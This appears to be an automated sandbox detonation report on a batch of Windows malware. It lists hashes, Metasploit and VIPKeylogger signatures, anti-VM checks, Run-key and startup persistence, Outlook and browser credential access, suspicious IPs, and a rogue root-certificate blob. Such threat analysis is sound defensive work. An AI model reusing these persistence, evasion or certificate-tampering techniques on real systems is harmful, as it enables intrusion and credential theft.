memory/4440-2132-0x00000000008A0000-0x000000000096A000-memory.dmp

memory/4616-2153-0x0000000005A00000-0x0000000005D57000-memory.dmp

memory/4616-2154-0x0000000005F00000-0x0000000005F4C000-memory.dmp

memory/4616-2155-0x0000000070770000-0x00000000707BC000-memory.dmp

memory/4616-2165-0x0000000007050000-0x00000000070F3000-memory.dmp

memory/4440-2180-0x0000000008C30000-0x0000000008CBE000-memory.dmp

memory/716-2183-0x0000000005AE0000-0x0000000005E37000-memory.dmp

memory/716-2205-0x00000000062D0000-0x000000000631C000-memory.dmp

memory/716-2216-0x0000000070850000-0x000000007089C000-memory.dmp

memory/716-2226-0x00000000073D0000-0x0000000007473000-memory.dmp

C:\Users\Admin\Desktop\a\02.08.2022.exe

MD5 e44c3aa40b9f7524877a4484a949829d
SHA1 a431cb6df265fc58a71c34b1f9edb571c2978351
SHA256 0580a91455de960968d476ed6c128eadc7e30e49f1638f2a08efed8424f2eb37
SHA512 4dbdb9628656f75788b65d69c1f4ca89a5d09dcdbaae05b5c26ea201d7bc5f74dc7e25e7f0d29ea82fb067e9912406a4674d15252805c4090dba64092980c54e

memory/1880-2444-0x0000000140000000-0x0000000140026000-memory.dmp

Analysis: behavioral4

Detonation Overview

Submitted

2024-11-16 19:52

Reported

2024-11-16 20:03

Platform

win11-20241007-en

Max time kernel

604s

Max time network

606s

Command Line

C:\Windows\Explorer.EXE

Signatures

MetaSploit

trojan backdoor metasploit

Metasploit family

metasploit

Suspicious use of NtCreateUserProcessOtherParentProcess

Description Indicator Process Target
PID 1156 created 3332 N/A C:\Users\Admin\Desktop\a\Pawyvstri.exe C:\Windows\Explorer.EXE

VIPKeylogger

stealer keylogger vipkeylogger

Vipkeylogger family

vipkeylogger

Identifies VirtualBox via ACPI registry values (likely anti-VM)

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\Desktop\a\lum250.exe N/A

Downloads MZ/PE file

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\Desktop\a\lum250.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\Desktop\a\lum250.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DataStore1.exe C:\Windows\system32\curl.exe N/A
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\euwt.lnk C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\Desktop\New Text Document.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\SKOblik.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\opengl32.dll40watson-sanchez4040830.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\Guide2018.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\stories.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\is-0JDJ0.tmp\stories.tmp N/A
N/A N/A C:\Users\Admin\AppData\Local\Shine Encoder 1.4.3\shineencoder32.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\wwbizsrvs.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\msf.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\msf443.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\client.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\Pawyvstri.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\op.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\installer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\Pawyvstri.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\babababa.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\decrypted_executable.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\lum250.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\Beefy.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\solandra.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\mk.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\crypted2.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\crypted2.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\crypted2.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\random.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\blhbZrtqbLg6O1K.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\enters.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\blhbZrtqbLg6O1K.exe N/A

Identifies Wine through registry keys

evasion
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-2410826464-2353372766-2364966905-1000\Software\Wine C:\Users\Admin\Desktop\a\lum250.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\is-0JDJ0.tmp\stories.tmp N/A
N/A N/A C:\Users\Admin\AppData\Local\Shine Encoder 1.4.3\shineencoder32.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A

Reads WinSCP keys stored on the system

spyware stealer

Reads user/profile data of local email clients

spyware stealer

Reads user/profile data of web browsers

spyware stealer

Unexpected DNS network traffic destination

Description Indicator Process Target
Destination IP 141.98.234.31 N/A N/A
Destination IP 91.211.247.248 N/A N/A

Accesses Microsoft Outlook accounts

collection
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-2410826464-2353372766-2364966905-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A

Accesses Microsoft Outlook profiles

collection
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-2410826464-2353372766-2364966905-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2410826464-2353372766-2364966905-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2410826464-2353372766-2364966905-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Users\Admin\Desktop\a\blhbZrtqbLg6O1K.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2410826464-2353372766-2364966905-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Users\Admin\Desktop\a\blhbZrtqbLg6O1K.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2410826464-2353372766-2364966905-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2410826464-2353372766-2364966905-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2410826464-2353372766-2364966905-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2410826464-2353372766-2364966905-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Users\Admin\Desktop\a\blhbZrtqbLg6O1K.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2410826464-2353372766-2364966905-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2410826464-2353372766-2364966905-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-2410826464-2353372766-2364966905-1000\Software\Microsoft\Windows\CurrentVersion\Run\enters = "C:\\Users\\Admin\\AppData\\Local\\enters.exe" C:\Users\Admin\Desktop\a\random.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Auto Feedback Manager = "C:\\Users\\Admin\\AppData\\Local\\Programs\\Advanced Sync Tools\\PureSync.exe" C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A

Checks for any installed AV software in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\AVAST Software\Avast\Version C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\AVAST Software\Avast C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\AVAST Software\Avast\Version C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\AVAST Software\Avast C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\AVG\AV\Dir C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\AVG\AV C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\AVG\AV\Dir C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\AVG\AV C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A

Checks installed software on the system

discovery

Drops desktop.ini file(s)

Description Indicator Process Target
File created C:\Windows\assembly\Desktop.ini C:\Users\Admin\Desktop\a\client.exe N/A
File opened for modification C:\Windows\assembly\Desktop.ini C:\Users\Admin\Desktop\a\client.exe N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A checkip.dyndns.org N/A N/A
N/A ip-api.com N/A N/A

Suspicious use of NtSetInformationThreadHideFromDebugger

Description Indicator Process Target
N/A N/A C:\Users\Admin\Desktop\a\lum250.exe N/A

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Drops file in Program Files directory

Description Indicator Process Target
File opened for modification C:\Program Files\Mozilla Firefox\firefox.exe C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File created C:\Windows\assembly\Desktop.ini C:\Users\Admin\Desktop\a\client.exe N/A
File opened for modification C:\Windows\assembly\Desktop.ini C:\Users\Admin\Desktop\a\client.exe N/A
File opened for modification C:\Windows\assembly C:\Users\Admin\Desktop\a\client.exe N/A

Browser Information Discovery

discovery

Embeds OpenSSL

Description Indicator Process Target
N/A N/A N/A N/A

Enumerates physical storage devices

Program crash

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WerFault.exe C:\Users\Admin\Desktop\a\crypted2.exe

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Desktop\a\Beefy.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Desktop\a\Guide2018.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Desktop\a\crypted2.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Desktop\a\blhbZrtqbLg6O1K.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Desktop\a\lum250.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Desktop\a\opengl32.dll40watson-sanchez4040830.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Desktop\a\msf443.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Desktop\a\Pawyvstri.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Desktop\a\blhbZrtqbLg6O1K.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\net.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\net1.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Desktop\a\Pawyvstri.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\installer.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Desktop\a\op.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Desktop\a\crypted2.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Desktop\a\SKOblik.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\is-0JDJ0.tmp\stories.tmp N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Desktop\a\msf.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Desktop\a\stories.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Shine Encoder 1.4.3\shineencoder32.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Desktop\a\wwbizsrvs.exe N/A

System Network Configuration Discovery: Internet Connection Discovery

discovery
Description Indicator Process Target
N/A N/A C:\Windows\system32\cmd.exe N/A
N/A N/A C:\Windows\system32\cmd.exe N/A
N/A N/A C:\Windows\system32\PING.EXE N/A

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Users\Admin\Desktop\a\Guide2018.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Component Information C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key value enumerated \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key enumerated \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\FeatureSet C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Configuration Data C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\FeatureSet C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Configuration Data C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Users\Admin\Desktop\a\Guide2018.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key value enumerated \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Identifier C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Update Revision C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A

Modifies system certificate store

evasion spyware trojan
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\BBA124C83990EAA0A762656D9C8A2BE7C8F22AE2 C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\BBA124C83990EAA0A762656D9C8A2BE7C8F22AE2\Blob = 030000000100000014000000bba124c83990eaa0a762656d9c8a2be7c8f22ae220000000010000005602000030820252308201bba0030201020208321995275967cf9c300d06092a864886f70d01010b050030613120301e06035504030c17446967694365727420476b6f62616c20526f6f7420473231193017060355040b0c107777772e64696769636572742e636f6d31153013060355040a0c0c446967694365727420496e63310b3009060355040613025553301e170d3232313131373230303135375a170d3236313131363230303135375a30613120301e06035504030c17446967694365727420476b6f62616c20526f6f7420473231193017060355040b0c107777772e64696769636572742e636f6d31153013060355040a0c0c446967694365727420496e63310b300906035504061302555330819f300d06092a864886f70d010101050003818d0030818902818100b196b6ebb954c7dce896363b7bd1fe6254c3e886d604c204ec858631298623b7d2004f5bdb4a154cc56eef2b7611b186542e573f801f20723417a49954fba0d4f70c503ad6a5cd798b5df9c8c29ea63eb639573f5d56f72a32913c831aa9f144068aa1e757e3962d6175464f40b6b296f736b627df15053b86bdcd63802b65430203010001a3133011300f0603551d130101ff040530030101ff300d06092a864886f70d01010b0500038181001bdc58c558aeab107c0766064b7938994835c4195a268209d917456c9c5588e41b44727a4f48c16bc07fe8ab97089147a40a9f695cb13c071b6ff13093c9ae3786246db8f64dc8c28b65a3f7f3828cbbb7d76798f0af15688d0c6bc49ebc104ba5533fb78c14d5b177e8af9b2ba2a6201ccea9f7a96c6657718e6de916c290d1 C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A

Runs net.exe

Runs ping.exe

Description Indicator Process Target
N/A N/A C:\Windows\system32\PING.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\is-0JDJ0.tmp\stories.tmp N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\is-0JDJ0.tmp\stories.tmp N/A
N/A N/A C:\Users\Admin\Desktop\a\wwbizsrvs.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\wwbizsrvs.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\client.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\installer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\installer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS40F6B89B\GenericSetup.exe N/A
